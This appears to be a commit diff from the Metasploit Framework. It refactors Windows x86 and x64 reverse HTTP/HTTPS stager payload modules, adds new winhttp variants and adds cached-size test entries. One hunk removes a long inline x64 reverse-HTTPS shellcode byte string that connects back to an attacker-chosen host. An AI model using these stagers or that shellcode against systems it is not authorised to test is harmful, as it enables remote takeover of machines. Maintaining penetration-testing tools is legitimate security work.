'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
'Name' => 'Windows Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows wininet)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,13 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/reverse_https'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 332
|
||||
|
||||
|
@ -19,14 +17,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
'Name' => 'Windows Reverse HTTPS Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows wininet)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,15 +3,13 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 329
|
||||
CachedSize = 327
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
@ -23,17 +21,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
'Name' => 'Windows Reverse HTTP Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows winhttp)',
|
||||
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,15 +3,13 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/reverse_winhttps'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 349
|
||||
CachedSize = 347
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
@ -23,17 +21,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
'Name' => 'Windows Reverse HTTPS Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows winhttp)',
|
||||
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/bind_tcp'
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/x64/reverse_http'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 486
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseHttp_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockrdi http',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
|
@ -3,125 +3,29 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/x64/reverse_https'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 578
|
||||
CachedSize = 517
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseHttps_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
|
||||
'Author' => [
|
||||
'hdm', # original 32-bit implementation
|
||||
'agix', # x64 rewrite
|
||||
'rwincey' # x64 alignment fix
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockrdi https',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
|
||||
# 'EXITFUNC' => [ 290, 'V' ],
|
||||
'LPORT' => [286, 'v'], # Not a typo, really little endian
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
|
||||
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
|
||||
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
|
||||
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" +
|
||||
"\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" +
|
||||
"\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" +
|
||||
"\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" +
|
||||
"\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" +
|
||||
"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
|
||||
"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
|
||||
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
|
||||
"\xFF\xFF\x5D" +
|
||||
"\x6A\x00" + #alignment
|
||||
"\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" +
|
||||
"\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" +
|
||||
"\xD5" +
|
||||
"\x6A\x00" + #alignment
|
||||
"\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" +
|
||||
"\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" +
|
||||
"\xE9\x9E\x00\x00\x00" + #updated jump offset
|
||||
"\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" +
|
||||
"\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" +
|
||||
"\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" +
|
||||
"\xEB\x7C" + #updated jump offset
|
||||
"\x48\x89\xC1\x48\x31" +
|
||||
"\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" +
|
||||
"\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" +
|
||||
"\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x6A\x00" + #alignment
|
||||
"\x68\x80\x33" +
|
||||
"\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" +
|
||||
"\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" +
|
||||
"\xD2\x4D\x31\xC0\x4D\x31\xC9" +
|
||||
"\x52\x52" + #updated alignment (extra push edx)
|
||||
"\x49\xBA\x2D\x06\x18\x7B\x00\x00" +
|
||||
"\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" +
|
||||
"\xE9\x81\x00\x00\x00"+
|
||||
"\xE8\x7F\xFF\xFF\xFF" + #updated jump offset
|
||||
"\x2F\x31\x32\x33\x34\x35\x00" +
|
||||
"\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" +
|
||||
"\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" +
|
||||
"\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" +
|
||||
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
|
||||
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
|
||||
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
|
||||
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
|
||||
"\x75\xCE\x58\x58\xC3" +
|
||||
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
|
||||
}
|
||||
))
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
|
||||
'Author' => [ 'hdm', 'agix', 'rwincey' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockrdi https',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
i = p.index("/12345\x00")
|
||||
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
|
||||
p[i, u.length] = u
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/reverse_tcp'
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 510
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttp_x64
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttp"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockrdi http',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttps'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 541
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttps_x64
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttps"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTPS Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows x64 winhttp)',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockrdi https',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
|
@ -3557,6 +3557,17 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/x64/meterpreter/bind_tcp'
|
||||
end
|
||||
|
||||
context 'windows/x64/meterpreter/reverse_http' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/x64/reverse_http',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_http'
|
||||
end
|
||||
|
||||
context 'windows/x64/meterpreter/reverse_https' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3579,6 +3590,28 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/x64/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'windows/x64/meterpreter/reverse_winhttp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/x64/reverse_winhttp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_winhttp'
|
||||
end
|
||||
|
||||
context 'windows/x64/meterpreter/reverse_winhttps' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/x64/reverse_winhttps',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_winhttps'
|
||||
end
|
||||
|
||||
context 'windows/x64/meterpreter_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue